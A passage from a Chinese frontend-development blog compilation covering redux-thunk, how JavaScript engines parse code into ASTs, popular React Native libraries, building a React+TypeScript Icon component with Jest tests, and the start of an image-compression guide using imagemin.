redux-thunk是一个中间件。一旦它被引入到项目中,每次派发一个action时,都会通过thunk传递。如果它是一个函数,它只是等待函数处理并返回响应。如果它不是一个函数,它只是正常处理。

这里有一个例子。sendEmailAPI是从组件中调用的函数,它接受一个数据并返回一个函数,其中dispatch作为参数。我们使用redux-thunk调用API apiservice,并等待收到响应。一旦接收到响应,我们就使用payload 派发一个action

import apiservice from '../services/apiservice';

export function sendEmail(data) {
    return { type:"SEND_EMAIL", payload: data };
}

export function sendEmailAPI(email) {
    return function(dispatch) {
        return apiservice.callAPI(email).then(data => {
            dispatch(sendEmail(data));
        });
    }
}

总结

要想有把握的面试,必须充分了解上述所有主题。 即使你目前正在使用React,理解这些概念也能增强你在职场中信心。

原文:https://medium.com/bb-tutorials-and-thoughts/learn-enough-react-for-the-interview-f460a2fa3aeb

交流

干货系列文章汇总如下,觉得不错点个Star,欢迎 加群 互相学习。

https://github.com/qq449245884/xiaozhi

我是小智,公众号「大迁世界」作者,对前端技术保持学习爱好者。我会经常分享自己所学所看的干货,在进阶的路上,共勉!

关注公众号,后台回复福利,即可看到福利,你懂的。

14.JavaScript 是如何工作的:解析、抽象语法树(AST)+ 提升编译速度5个技巧

概述

我们都知道运行一大段 JavaScript 代码性能会变得很糟糕。这段代码不仅需要通过网络传输,而且还需要解析、编译成字节码,最后执行。在之前的文章中,我们讨论了 JS 引擎、运行时和调用堆栈等,以及主要由谷歌 Chrome 和 NodeJS 使用的V8引擎。它们在整个 JavaScript 执行过程中都发挥着至关重要的作用。这篇说的抽象语法树同样重要:在这我们将了解大多数 JavaScript 引擎如何将文本解析为对机器有意义的内容,转换之后发生的事情以及做为 Web 开发者如何利用这一知识。

编程语言原理

那么,首先让我们回顾一下编程语言原理。不管你使用什么编程语言,你需要一些软件来处理源代码以便让计算机能够理解。该软件可以是解释器,也可以是编译器。无论你使用的是解释型语言(JavaScript、Python、Ruby)还是编译型语言(c#、Java、Rust),都有一个共同的部分:将源代码作为纯文本解析为 抽象语法树(abstract syntax tree, AST) 的数据结构。

AST 不仅以结构化的方式显示源代码,而且在语义分析中扮演着重要角色。在语义分析中,编译器验证程序和语言元素的语法使用是否正确。之后,使用 AST 来生成实际的字节码或者机器码。

抽象语法树(abstract syntax tree 或者缩写为 AST),或者语法树(syntax tree),是源代码的抽象语法结构的树状表现形式,这里特指编程语言的源代码。和抽象语法树相对的是具体语法树(concrete syntaxtree),通常称作分析树(parse tree)。一般的,在源代码的翻译和编译过程中,语法分析器创建出分析树。一旦 AST 被创建出来,在后续的处理过程中,比如语义分析阶段,会添加一些信息。

AST 程序

AST 不仅仅是用于语言解释器和编译器,在计算机世界中,它们还有多种应用。使用它们最常见的方法之一是进行静态代码分析。静态分析器不执行输入的代码,但是,他们仍然需要理解代码的结构。

例如,你可能想要实现一个工具,该工具可以找到公共代码结构,以便你可以重构它们以减少重复。你可能会通过使用字符串比较来实现这一点,但这个会相当简单且有局限性。

当然,如果你对实现这样的工具感兴趣,你不需要编写自己的解析器。有许多与 Ecmascript规范完全兼容的开源项目。EsprimaAcorn 即是黄金搭档,还有许多工具可以帮助解析器生成输出,即 ASTs ,ASTs 被广泛应用于代码转换。

例如,你可能希望实现一个将 Python 代码转换为J avaScript 的转换器。基本**是使用Python 转换器生成 AST,然后使用 AST 生成JavaScript代码。

你可能会觉得难以置信,事实是 ASTs 只是部分语言的不同表示法。在解析之前,它被表示为遵循一些规则的文本,这些规则构成了一种语言。在解析之后,它被表示为一个树结构,其中包含与输入文本完全相同的信息。因此,也可以进行反向解析然后回到文本。

JavaScript 解析

让我们看看 AST 是如何构建的。我们用一个简单的 JavaScript 函数作为例子:

function foo(x) {
    if (x > 10) {
        var a = 2;
        return a * x;
    }

    return x + 10;
}

解析器会产生如下的 AST:

image

注意,为了观看方便,这里是解析器将生成的结果的简化版本。实际的 AST 要复杂得多。然而,这里的目的是为了运行源码之前的第一个步骤前。如果人想查看实际的 AST 是什么样子,可以访问 AST Explorer。它是一个在线工具,你以在其中输入一些 JavaScript 并输出对应的 AST。

你可能会问,为什么需要知道 JavaScript解析器工作原理,毕竟这是浏览器工作,你想法是部分正确。下图展示了 JavaScript 执行过程中不同阶段的耗时。仔细瞅瞅,你或许会发现一些有趣的东西。

image

发现没? 通常情况下,浏览器解析 JavaScript 大约需占总执行时间的 15%20%。我没有具体统计过这些数值。这些是来自真实应用程序和以某种方式使用 JavaScript 的网站的统计数据。也许 15% 看起来不是很多,但相信我,这是很多。

一个典型的单页程序加载 0.4 mb 左右的 JavaScript,浏览器需要大约 370ms 来解析它。也许你会又说,这也不是很多嘛,本身花费的时间并不多。但请记住,这只是将 JavaScript 代码解析为 AST 所需要的时间。这并不包括运行本身的时间,也不包括在页面加载 ,如 CSS 和 HTML 渲染过程的耗时。这些还只涉及桌面,移动浏览器的情况会更加复杂,在手机上花在解析上的时间通常是桌面浏览器的 2 到 5 倍。

image

上图显示了 1MB JavaScript 包在不同类的移动和桌面浏览器解析时间。

更重要的是,为了获得更多类原生的用户体验而把越来越多的业务逻辑堆积在前端,Web 应用程序正变得越来越复杂。你可以轻易地想到网络应用受到的性能影响。只需打开浏览器开发工具,然后使用该工具来解析、编译和浏览器中发生的所有其他事情上所消耗的时间。

image

不幸的是,移动浏览器上没有开发者工具。不过不用担心,这并不意味着你对此无能为力。因为有 DeviceTiming 工具,它可以用来帮助检测受控环境中脚本的解析和运行时间。它通过插入代码来封装本地代码,这样每次从不同的设备访问页面时,就可以在本地测量解析和运行时间。

好事就是 JavaScript 引擎做了很多工作来避免冗余的工作,并得到了更好的优化,以下为主流浏览器使用的技术。

例如,V8 实现脚本流(script streaming)和代码缓存技术。脚本流即脚本一旦开始下载,asyncdeferred的 脚本就会在单独的线程上解析。这意味着在下载脚本完成后几乎立即完成解析,这会提升 10% 的页面加载速度。

每次访问页面时,JavaScript 代码通常编译为字节码。 然而,一旦用户访问另一页面,该字节码就被丢弃。 发生这种情况是因为编译后的代码很大程度上依赖于编译时机器的状态和上下文。 这是 Chrome 42 引入字节码缓存的原因。 该技术会本地缓存编译过的代码,这样当用户返回同一页面时,诸如下载,解析和编译等所有步骤都会被跳过。 这使得 Chrome 可以节省大约 40% 的解析和编译时间。 此外,这还可以节省移动设备的电量。

在 Opera 中,Carakan 引擎可以重用另一个程序最近编译过的输出。没有要求代码必须来自相同的页面甚至同个域下。这种缓存技术实际上非常高效,还可以完全跳过编译步骤。它依赖于典型的用户行为和浏览场景:每当用户在应用程序/网站中遵循某个用户的特定浏览习惯,都会加载相同的 JavaScript 代码。不过,Carakan 引擎早已被谷歌的 V8 所取代。

Opera 新的 JavaScript 引擎 “Carakan”,目前速度是其他已存在 JavaScript 引擎(基于 SunSpider)的2.5倍。其在转化为本地机器代码时专门针对正则表达式做了优化。

Firefox 使用的 SpiderMonkey 引擎不会缓存所有内容。它可以过渡到监视阶段,在这个阶段中,它计算执行给定脚本的次数。基于此计算,它推导出频繁使用而可以被优化的代码部分。

SpiderMonkey 是 Mozilla 项目的一部分,是一个用 C 语言实现的 JavaScript 脚本引擎,另外还有一个叫做Rhino 的 Java 版本。

显然,有些人决定什么都不做。Safari 的首席开发人员 Maciej Stachowiak 表示,Safari 不会对编译后的字节码进行任何缓存。缓存技术他们是有考虑过的问题,但是他们还没有实现,因为生成代码的耗时小于总运行时间的 2%。

这些优化不会直接影响 JavaScript 源代码的解析,但是会尽可能完全避免。毕竟做总比没做好点?

我们可以做很多事情来改善应用程序的初始加载时间。最小化加载的 JavaScript 数量:代码越小、解析所需要时间就越少,运行时间也就越小。要做到这一点,我们只能在当前的路由上加载所需的代码,而不是加载一大陀的代码。例如,PRPL模式即表示该种代码传输类型。或者,可以检查代码的依赖关系,看看是否有什么冗余的依赖导致代码库膨胀,然而,这些东西需要很大的篇幅来进行讨论。

本文的主要的目的讨论作为 Web 开发人员可以做些什么来帮助 JavaScript 解析器更快地完成它的工作。还有,现代JavaScript 解析器使用 启发法(heuristics) 来决定是否立即运行指定的代码片段或者推迟在未来的某个时候运行。基于这些启发法,解析器将进行即时或懒解析。

启发法是针对模型求解方法而言的,是一种逐次逼近最优解的方法。这种方法对所求得的解进行反复判断实践修正直至满意为止。启发法的特点是模型简单,需要进行方案组合的个数少,因此便于找出最终答案。此方法虽不能保证得到最优解,但只要处理得当,可获得决策者满意的近似最优解。一般步骤包括:定义一个计算总费用的方法;报定判别准则;规定方案改选的途径;建立相应的模型;送代求解。

立即解析会运行需要立即编译的函数。它主要做三件事:构建 AST,构建作用域层级和查找所有语法错误。另一方面, 懒解析只运行未编译的函数。它不构建AST,也不查找所有语法错误,它只构建作用域层级,与立即解析相比节省了大约一半的时间。

显然,这不是一个新概念。即使像 IE 9 这样的浏览器也支持这种类型的优化,尽管与现在的解析器的工作方式相比,这种优化方式还很初级。

来看一个例子,假设有以下代码片段:

function foo() {
    function bar(x) {
        return x + 10;
    }

    function baz(x, y) {
        return x + y;
    }

    console.log(baz(100, 200));
}

foo()

就像前面的例子一样,代码被输入到语法分析器中,语法分析器进行语法分析并输出AST,如下:

  • 声明函数 foo
  • 调用函数 foo
  • foo 里声明函数 bar 接收参数 x, 并返回 x 和 10 相加的结果
  • foo 里声明函数 baz 接收参数 xy, 并返回 xy 相加的结果
  • 调用 baz 函数传入 100 和 2。
  • 调用 console.log 参数为之前函数调用的返回值。

image

那么期间发生了什么? 解析器看到 bar 函数的声明、baz 函数的声明、bar函数的调用和 console.log 的调用。但是,解析器做了一些完全无关的额外工作即解析 bar 函数。为什么这无关紧要? 因为函数 bar 从来没有被调用过(或者至少在那个时候没有)。这是一个简单的示例,看起来可能有些不同寻常,但在许多实际应用程序中,许多声明的函数从未被调用。

这里不解析bar函数,该函数声明了却没有调用它。只在需要的时候在函数运行前进行真正的解析。懒解析仍然需要找到函数的整个主体并为其声明,但仅此而已。它不需要语法树,因为它还没有被处理。另外,它不会从堆中分配内存,而堆通常会占用相当多的系统资源,简而言之,跳过这些步骤会带来很大的性能改进。

所以之前的例子,解析器实际上会像如下这样解析:

image

注意,这里只确认 bar 函数声明,没有进入 bar 函数体。在这种情况下,函数体只是一个返回语句。但是,与大多数实际应用程序一样,它可以更大,包含多个返回语句、条件语句、循环、变量声明,甚至嵌套函数声明。这完全是在浪费时间和系统资源,因为这个函数永远不会被调用。

这是一个相当简单的概念,但实际上,它的实现是非常难的,不局限于以上示例。整个方法还可以适用于函数、循环、条件、对象等。基本上,所有需要解析的东西。

例如,下面是一个非常常见的 JavaScript 模式。

var myModule = (function() {
     // 整个模块的逻辑
     // 返回模块对象
})();

大多数现代 JavaScript 解析器都能识别这种模式,此模式表示代码需要立即解析。

那么为什么解析器不都使用懒解析呢? 如果懒解析某些代码,这些代码需要立即执行,这实际上会使代码运行速度变慢。需要运行一次懒解析之后进行另一个立即解析,这和立即解析相比,运行速度会慢 50%。

现在对解析器底层原理有了大致的了解,是时候考虑如何提高解析器的解析速度。可以用这种方式编写代码,以便在正确的时间解析函数。大多数解析器都能识别一种模式:使用括号封装函数。对于解析器来说,这几乎总是一个积极的信号,即函数需要立即执行。如果解析器看到一个左括号,紧接着是一个函数声明,它将立即解析这个函数。可以通过显式地声明立即执行的函数来帮助解析器加快解析速度。

假设有一个名为 foo 的函数。

function foo(x) {
    return x * 10;
}

因为没有明显地标识表明需要立即运行该函数所以浏览器会进行懒解析。然而,我们确定这是不对的,那么可以运行两个步骤。

首先,将函数存储在一个变量中:

var foo = function foo(x) {
    return x * 10;
};

注意,这里有使用函数的名称 foo,这不是必需的,但是建议这样做,因为在抛出异常的情况下,stacktrace 会保留实际函数名称,而不仅仅是 <anonymous>

以上事例解析器执行懒解析,可以用括号封装起来,让解析器进行立即解析:

var foo = (function foo(x) {
    return x * 10;
});

现在,解析器看见 function 关键字前的左括号便会立即进行解析。

因为需要知道解析器在哪些情况下执行懒解析或者立即解析,所以很难手动管理。此外,还需要花时间考虑是否立即调用某个函数,肯定没人想这么做的。

最后,这种地让代码更难阅读和理解。可以使用 Optimize.js 可以帮我们做这类事情,该工具只是用来优化 JavaScript 源代码的初始加载时间,它们对代码进行静态分析,然后通过使用括号封装需要立即运行的函数以便浏览器立即解析并准备运行它们。

像往常一样编码,然后有一段代码看起来像这样的:

(function() {
    console.log('Hello, World!');
})();

一切看起来都很好,如预期的那样工作,而且速度很快,因为在函数声明之前添加左括号。当然,在进入生产环境之前需要进行代码压缩,以下为压缩工具的输出:

!function(){console.log('Hello, World!')}();

好像没问题,代码像以前一样工作。但是好像少了什么,压缩工具删除包裹函数的括号,而是在函数前放置了一个感叹号,这意味着解析器将跳过此并将执行惰解析。

最重要的是,为了能够执行该函数,它将在懒解析之后立即进行立即解析。 这会使代码运行得更慢,幸运的是,可以利用 Optimize.js 来解决此类问题,传给 Optimize.js 压缩过的代码会输出如下代码:

!(function(){console.log('Hello, World!')})();

这还差不多,现在拥有两全其美方案:压缩代码且解析器正确地识别懒解析和立即解析的函数。

预编译

但为什么不能在服务器端完成所有这些工作呢? 毕竟,最好这样做一次并将结果提供给客户端,而不强制各个客户端重复做该项事情。那么,目前正在讨论引擎是否应该提供一种执行预编译脚本的方法,这样就可以节省浏览器运行时间。

从本质上讲,该思路是拥有可以生成字节码的务器端工具,这样只需要传输字节码并在客户端运行,之后会看到启动时间的一些主要差异。 这可能听起来很诱人,但事情并非那么简单,还可能会产生相反的效果,因为它会更大,并且很可能需要签署代码并出于安全原因对其进行处理。 例如,V8 团队正在努力解决重复解析问题,这样预编译有可能实际并没有多大的用处。

提升编译速度一些建议

  • 检查依赖,减少不必要的依赖

  • 分割代码为更小的块而不是一整陀的

  • 尽可能推迟加载 JavaScript,按需要加载或者动态加载。

  • 使用开发者工具和 DeviceTiming 来检测性能瓶颈

  • 用像 Optimize.js 的工具来帮助解析器选择立即解析或者懒解析以加快解析速度


原文:

https://blog.sessionstack.com/how-javascript-works-parsing-abstract-syntax-trees-asts-5-tips-on-how-to-minimize-parse-time-abfcf7e8a0c8

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

React Native 常用的 15 个库

本篇 React native 库列表不是从网上随便找的, 这些是我在我的应用中亲自使用的库。 这些库功能可能跟其它库也有,但经过大量研究并在我的程序中尝试后,我选择了这些库。

15. React Native Animatable

图片描述

这个库非常适合快速地向 React Native 应用程序添加简单的动画和转换。这个库有两种使用方式:声明式和命令式

声明式用法只需使用动画的名称,该动画将在加载该元素时立即生效。打开页面时,标题应该从左边滑进去。

如果你想手动播放动画,这个wgy命令式用法就很好用。当有人喜欢某个帖子时,摇动一个心形图标。

你也可以定义你自己的动画!对于复杂的动画,可以查找 React Native 的 Animated 的 API。

实际案例

图片描述

14. React Native Push Notification

这个库支持本地推送通知功能比较全面。它具有日程通知、基于日、周、时间的重复通知等其他库中没有的功能。

如果你的应用程序具有离线可用并且需要推送通知,则此库是你的选择。

13. React Native FCM

如果你的应用程序需要使用 GCM 或 FCM 从服务器发送远程通知,那么这个库就你选择之一,FCM 只是 GCM 的最新版本。

这个库还支持带有调度和重复支持的本地通知。因此,如果你同时需要远程和本地通知,那么可以使用 response-native-fcm

12.React Native Hyperlink

image

一个简单的 react-native 超链接组件的可以让 url,模糊链接,电子邮件等可点击。它还支持样式化链接。只要将 Text 组件作为子组件传递给 Hyperlink 组件,库就会处理一切。

实际案例

clipboard.png

11. React Native Sound

你需要在应用中播放声音或音乐的库。 我使用这个库来播放应用程序声音并播放录制的答案。

实际案例

下面是React native应用程序声音的演示视频:

https://youtu.be/DpE_8j-aq0I

10. React Native loading spinner overlay

image

一个简单但非常有用的组件。当你希望阻止用户在处理某些内容时执行任何其他操作时,你可以使用此组件。 通过在 Android 中处理后退按钮,该组件也做得很好。 示例:提交帖子

9. React Native Progress

在应用程序中,显示加载或任何其他操作的进度是很重要的。这个库通过支持5个不同的组件,如线性进度条、圆形、饼状图等,可以很容易地显示进度。

实际案例

image

8. React Native Swiper

React Native swiper对于实现App intro,Image carousel和Image Galleries非常有用。

下面是React native swiper 的演示视频:

https://www.youtube.com/watch?v=LdKtugH-sb8

7. React Native Share

与UI自定义分享组件,它还支持分享文件。

实际案例

image

6. React Native Photo View

具有缩放支持,onload 回调,缩放以适应和滚动指示器支持的 Image 组件。 此组件存在高分辨率图像问题。 当然,这不是React Native 的特定问题。 当存在高分辨率图像时,内存问题在 Android 上很常见。

5. React Native Image Picker

这是图像上传或图像处理的基本库。 它支持从图库中选择,从相机拍摄照片。 我喜欢这个库中另一个有用的功能是选择图像分辨率的选项,此功能解决了由于高分辨率图像导致的内存问题。

clipboard.png

4. React Native Simple Store

这个库只是 React Native 的内置 AsyncStorage API的封装,但它非常有用,因为它具有Promises、l链式调用和超级简单的 API 等特性。

3. React Native Vector Icons

这是最好的 Icon 组件。 它捆绑了 10 个图标集,图标按钮组件,还允许你使用字形图,Fontello 和 TTF 文件导入自定义图标集。

捆绑图标集:

  1. Entypo by Daniel Bruce (411 icons)
  2. EvilIcons by Alexander Madyankin & Roman Shamin (v1.8.0, 70 icons)
  3. FontAwesome by Dave Gandy (v4.7.0, 675 icons)
  4. Foundation by ZURB, Inc. (v3.0, 283 icons)
  5. Ionicons by Ben Sperry (v3.0.0, 859 icons)
  6. MaterialIcons by Google, Inc. (v3.0.1, 932 icons)
  7. MaterialCommunityIcons by MaterialDesignIcons.com (v2.0.46, 2046 icons)
  8. Octicons by Github, Inc. (v5.0.1, 176 icons)
  9. Zocial by Sam Collins (v1.0, 100 icons)
  10. SimpleLineIcons by Sabbir & Contributors (v2.4.1, 189 icons)

2. React Native Modalbox

这个 Modal 库是基于 React Native 的 Modal组件构建的,但附带了许多自定义和功能。 它具有在应用程序中使用 Modals 所需的所有功能。

实际案例

图片描述

1. React Native Router Flux

图片描述

导航是 React Native 社区中的主要问题之一,因为它没有默认导航系统。 无论 React Native 出现什么导航系统总是有变化或不稳定。

这个库帮助我使用一个非常简单的声明性API快速实现导航。 它维护一堆路线并从应用程序中的任何场景导航到任何场景就像调用函数一样简单。

它也支持选项卡式导航,侧边栏和模态框。 可以将模态框定义为场景,以便可以从任何场景调用模态。

你可以已经在用 React-Navigation 了,并想知道我为什么要使用 React Native Router Flux? 不要担心 React Native Router flux v4 基于 React-Navigation 并且具有更简单的 API!

上面的大多数应用程序演示都使用 React-native-router-Flux 作为导航系统。

总结

如果你使用一个不在上面列表中的真棒React Native库,请在下面的评论中告诉我!

原文:https://codingislove.com/top-15-react-native-libraries/

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

React 造轮子系列:Icon 组件思路

简介

本轮子是通过 React + TypeScript + Webpack 搭建的,至于环境的搭建这边就不在细说了,自己动手谷歌吧。当然可以参考我的源码

这里我也是通过别人学的,主要做些总结及说明造各个轮子的一种思路,方便今后使用别人的的轮子时自己脑中有造轮子的**,能通过修改源码及时修改 bug,按时上线。

本文的 Icon 组件主要是参考 Framework7 中的 Icon React Component 写的。

为什么要造轮子

1.为了不求人

  • 假设你使用某个UI框架发现有一个 bug,于是你反馈给开发者,开发者说两周后修复,而你的项目一周后就要上线,你怎么办?

  • 为什么很多大公司都不使用其他公司的轮子,要自己造?为了把控自己的业务,不被别人牵着走。

2.为了不流于平庸

  • 大家都是写增删改查,你跟别人比有什么优势?你如果能说一局【我公司的人都在用我写的UI框架】是不是就很牛逼?造 UI 轮子会遇到很多技术层面而非业务层面的知识?比如一些算法。

3.为了创造

  • 你为别人做了这么久的事情,有没有自己做什么?自驱动力。

4.为什么是 UI 轮子,不是其他方面的轮子

  • 比如,为什么不自己写一个 React 框架,要写 React UI 框架呢?

React.FunctionComponent 与 IconPropps

本轮子使用 React + TypeScript 来写的,那么在 ts 中如何声明函数组件及级 Icon 组件传递参数呢,答案是使用React提供的静态方法 React.FunctionComponent 及 TypeScript 提供的接口定义。

// lib/icon.tsx

import React from 'react'

interface IconProps {
  name: string
}

const Icon: React.FunctionComponent<IconProps> = () => {
  return (
    <span>icon</span>
  )
}

export default Icon

在 index.txt 中调用:

import React from "react";
import ReactDOM from "react-dom";
import Icon from './icon'
  
ReactDOM.render(<div>
  <Icon name='wechat'/>
</div>, document.body)

对于上面的定义方式,后面的轮子会经常使用,所以不必担心看不懂。

使用 svg-sprite-loader 加载 SVG

在上面我们指定了 Iconnamewechat,那怎么让它显示微信的图标呢,首先在阿里的 Iconfont 下载对应的 SVG

接着如何显示 svg? 这里我们使用一个 svg-sprite-loader 库,然后在对应的 webpack下的 rules 中添加:

{
  test: /\.svg$/,
  loader: 'svg-sprite-loader'
}

在 Icon 中引用,当然对应 tsconfig.json 也要配置(这不是本文的重点):

import React from 'react'
import wechat from './icons/wechat.svg'

console.log(wechat)
interface IconProps {
  name: string
}

const Icon: React.FunctionComponent<IconProps> = () => {
  return (
    <span>
      <svg>
        <use xlinkHref="#wechat"></use>
      </svg>
    </span>
  )
}

export default Icon

运行效果:

当然 svg 里面不能直接写死,我们需要根据外部传入的 name 来指定对应的图像:

// 部分代码
import  './icons/wechat.svg'
import './icons/alipay.svg'

const Icon: React.FunctionComponent<IconProps> = (props) => {
  return (
    <span>
      <svg>
        <use xlinkHref={`#${props.name}`}></use>
      </svg>
    </span>
  )
}

外部调用:

ReactDOM.render(<div>
  <Icon name='wechat'/>
  <Icon name='alipay'/>
</div>, document.getElementById('root'))

运行效果:

importAll

大家有没有注意到,我需要使用哪个 svg, 需要在对应的 icon 组件导入对应的 svg,这样要是我需要100个 svg ,我就要导入100次,这样做太傻,文件也会变得冗长。

因此我们需要一个动态导入全部 SVG 的方法:

 // lib/importIcons.js
let importAll = (requireContext) => requireContext.keys().forEach(requireContext)
try {
  importAll(require.context('./icons/', true, /\.svg$/))
} catch (error) {
  console.log(error)
}

要想看懂上诉的代码,可能需要一点 node.js 的基础,这边建议你直接收藏好啦,下次有用到,直接拷贝过来用就行了。

接着在 Icon 组件里面导入就行了: import './importIcons'

React.MouseEventHandler 的使用

当我们需要给 Icon 注册事件的时候,如果直接在组件上写 onClick 事件是会报错的,因为它没有声明接收 onClick 事件类型,所以需要声明,如下所示:

/lib/icon.tsx

import React from 'react'
import './importIcons'
import './icon.scss';
interface IconProps {
  name: string,
  onClick: React.MouseEventHandler<SVGElement>
}

const Icon: React.FunctionComponent<IconProps> = (props) => {
  return (
    <span>
      <svg onClick={ props.onClick}>
        <use xlinkHref={`#${props.name}`} />
      </svg>
    </span>
  )
}

export default Icon

调用方式如下:

import React from "react";
import ReactDOM from "react-dom";
import Icon from './icon'

const fn: React.MouseEventHandler = (e) => {
  console.log(e.target);
};


ReactDOM.render(<div>
  <Icon name='wechat' onClick={fn}/>
</div>, document.getElementById('root'))

让Icon响应所有事件

上述我们只监听了 onClick 事件 ,但对于其它事件是不支持了,所以我们需要进一步完善。这里我们不能一个一个添加对应的事件类型,需要一个统一的事件类型,那这个是什么呢?

通过 react 我们会找到一个 SVGAttributes 类,这里我们需要继承它:

/lib/icon.tsx
import React from 'react'
import './importIcons'
import './icon.scss';
interface IconProps extends React.SVGAttributes<SVGElement> {
  name: string;
}

const Icon: React.FunctionComponent<IconProps> = (props) => {
  return (
    <span>
      <svg 
        onClick={ props.onClick}
        onMouseEnter = {props.onMouseEnter}
        onMouseLeave = {props.onMouseLeave}
      >
        <use xlinkHref={`#${props.name}`} />
      </svg>
    </span>
  )
}

export default Icon

调用方式:

import React from "react";
import ReactDOM from "react-dom";
import Icon from './icon'

const fn: React.MouseEventHandler = (e) => {
  console.log(e.target);
};


ReactDOM.render(<div>
  <Icon name='wechat' 
    onClick={fn}
    onMouseEnter = { () => console.log('enter')}
    onMouseLeave = { () => console.log('leave')}
  />
</div>, document.getElementById('root'))

上述还是会有问题,我们还有 onFocus, onBlur, onChange 等等事件,也不可能一个一个传递进来,那还有什么方法呢。

icon.tsx 中我们会发现我们用的都是通过 props 传递进来的。聪明的朋友的可能立马想到了使用展开运算符的形式 {...props},改写如下:

...
const Icon: React.FunctionComponent<IconProps> = (props) => {
  return (
    <span>
      <svg className="fui-icon" {...props}>
        <use xlinkHref={`#${props.name}`} />
      </svg>
    </span>
  )
}
...

上述还是会有问题,如果使用的人也传入 className 呢,用过 Vue 就知道 Vue 是真的好,它会把传入和里面的合并起来,但 React 就不一样了,传入的会覆盖里面的,所以需要自己手动处理:

...
const Icon: React.FunctionComponent<IconProps> = (props) => {
  const { className, ...restProps} = props
  return (
    <span>
      <svg className={`fui-icon ${className}`} {...restProps}>
        <use xlinkHref={`#${props.name}`} />
      </svg>
    </span>
  )
}
...

上达写法还存在问题的,如果外面没有写 className ,那么内部会多出一个 undefined

聪明你的可能就想到了使用三目运算符来做判断,如:

className={`fui-icon ${className ? className : ''}`}

但这种情况如果有多个参数要怎么办呢?

所以有人就非常聪明专门写了一个库存 classnames,这个库有多火呢,每周有300多万的下载量,它的作用就是处理 className 的情况。

当然我们这边只做简单的处理,如下所示

// helpers/classes
function classes(...names:(string | undefined )[]) {
  return names.join(' ')
}

export default classes

使用方式:

...
const Icon: React.FunctionComponent<IconProps> = (props) => {
  const { className, name,...restProps} = props
  return (
    <span>
      <svg className={classes('fui-icon', className)} {...restProps}>
        <use xlinkHref={`#${name}`} />
      </svg>
    </span>
  )
}
...

这样最终渲染出来的 className还是会多出一个空格,作为完美者,并不希望有空格的出现的,所以需要进一步处理空格,这里使用 es6 中数组的 filters 方法。

// helpers/classes
function classes(...names:(string | undefined )[]) {
  return names.filter(Boolean).join(' ')
}

export default classes

单元测试

首先我们对我们的 classes 方法时行单元测试,这里使用 Jest 时行测试,也是 React 官网推荐的。

classes 测试用例如下:

import classes from '../classes'
describe('classes', () => {
  it('接受 1 个 className', () => {
    const result = classes('a')
    expect(result).toEqual('a')
  })
  it('接受 2 个 className', ()=>{
    const result = classes('a', 'b')
    expect(result).toEqual('a b')
  })
  it('接受 undefined 结果不会出现 undefined', ()=>{
    const result = classes('a', undefined)
    expect(result).toEqual('a')
  })
  it('接受各种奇怪值', ()=>{
    const result = classes(
      'a', undefined, '中文', false, null
    )
    expect(result).toEqual('a 中文')
  })
  it('接受 0 个参数', ()=>{
    const result = classes()
    expect(result).toEqual('')
  })
})

使用Snapshot测试UI

这里测试 UI 相关还需要使用一个库 Enzyme , Enzyme 来自 airbnb 公司,是一个用于 React 的 JavaScript 测试工具,方便你判断、操纵和历遍 React Components 输出。Enzyme 的 API 通过模仿 jQuery 的 API ,使得 DOM 操作和历遍很灵活、直观。Enzyme 兼容所有的主要测试运行器和判断库。

icon 的测试用例

import * as renderer from 'react-test-renderer'
import React from 'react'
import Icon from '../icon'
import {mount} from 'enzyme'

describe('icon', () => {
  it('render successfully', () => {
    const json = renderer.create(<Icon name="alipay"/>).toJSON()
    expect(json).toMatchSnapshot()
  })
  it('onClick', () => {
    const fn = jest.fn()
    const component = mount(<Icon name="alipay" onClick={fn}/>)
    component.find('svg').simulate('click')
    expect(fn).toBeCalled()
  })
})

IDE 提示找不到 describe 和 it 怎么办?

解决办法:

  1. yarn add -D @types/jest
  2. 在文件开头加一句 import 'jest'

这是因为 describe 和 it 的定于位于 jest 的类型声明文件中,不信你可以按住 ctrl 并点击 jest 查看。

如果还不行,你需要在 WebStorm 里设置对 jest 的引用:

这是因为 typescript 默认排除了 node_modules 里的类型声明。

总结

以上主要是在学习造轮子过程总结的,环境搭建就没有细说了,主要记录实现 Icon 轮子的一些思路及注意事项等,想看源码,跑跑看的,可以点击这里查看。

参考

方应杭老师的React造轮子课程

欢迎加入前端大家庭,里面会经常分享一些技术资源。

Web 性能优化: 图片优化让网站大小减少 62%

图像是web上提供的最基本的内容类型之一。他们说一张图片胜过千言万语。但是如果你不小心的话,图片大小有时高达几十兆。

因此,虽然网络图像需要清晰明快,但它们尺寸可以缩小压缩的,使用加载时间保持在可接受的水平。

在我的网站上,我注意到我的主页的页面大小 超过了 1.1MB,图片占了约88%,我还注意到我提供的图像比它们需要的大(在分辨率方面),显然,还有很多改进的空间。

image

我开始阅读 Addy Osmani 的优秀 Essential Image Optimization电子书,并开始在我的网站上按照他们的建议做了一些图片的优化。,然后再对响应式图像进行了一些研究并应用了它。

这使得页面大小减少到 445kb,约 62% !

image

什么是图像压缩?

压缩图像就是在图片保持在可接受的清晰度范围内同时减少文件大小,我使用 imagemin 来压缩站点上的图像。

要使用 imagemin,确保你已经安装了 Node.js,然后打开一个终端窗口,cd 进入项目,并运行以下命令:

npm install imagemin

然后创建一个名为 imagemin.js 的新文件,写入下面的内容:

const imagemin = require('imagemin');
const PNGImages = 'assets/images/*.png';
const JPEGImages = 'assets/images/*.jpg';
const output = 'build/images';

你可以根据自己的需要更改 PNGImagesJPEGImagesoutput 的值,以符合你的项目结构。

此外要执行图片压缩,还需要根据要压缩的图像类型安装对应的插件。

JPEG/JPG

JPG 的优点

JPG 最大的特点是 有损压缩。这种高效的压缩算法使它成为了一种非常轻巧的图片格式。另一方面,即使被称为“有损”压缩,JPG的压缩方式仍然是一种高质量的压缩方式:当我们把图片体积压缩至原有体积的 50% 以下时,JPG 仍然可以保持住 60% 的品质。此外,JPG 格式以 24 位存储单个图,可以呈现多达 1600 万种颜色,足以应对大多数场景下对色彩的要求,这一点决定了它压缩前后的质量损耗并不容易被我们人类的肉眼所察觉——前提是你用对了业务场景。

JPG 使用场景

JPG 适用于呈现色彩丰富的图片,在我们日常开发中,JPG 图片经常作为大的背景图、轮播图或 Banner 图出现。

JPG 的缺陷

有损压缩在上文所展示的轮播图上确实很难露出马脚,但当它处理矢量图形和 Logo 等线条感较强、颜色对比强烈的图像时,人为压缩导致的图片模糊会相当明显。

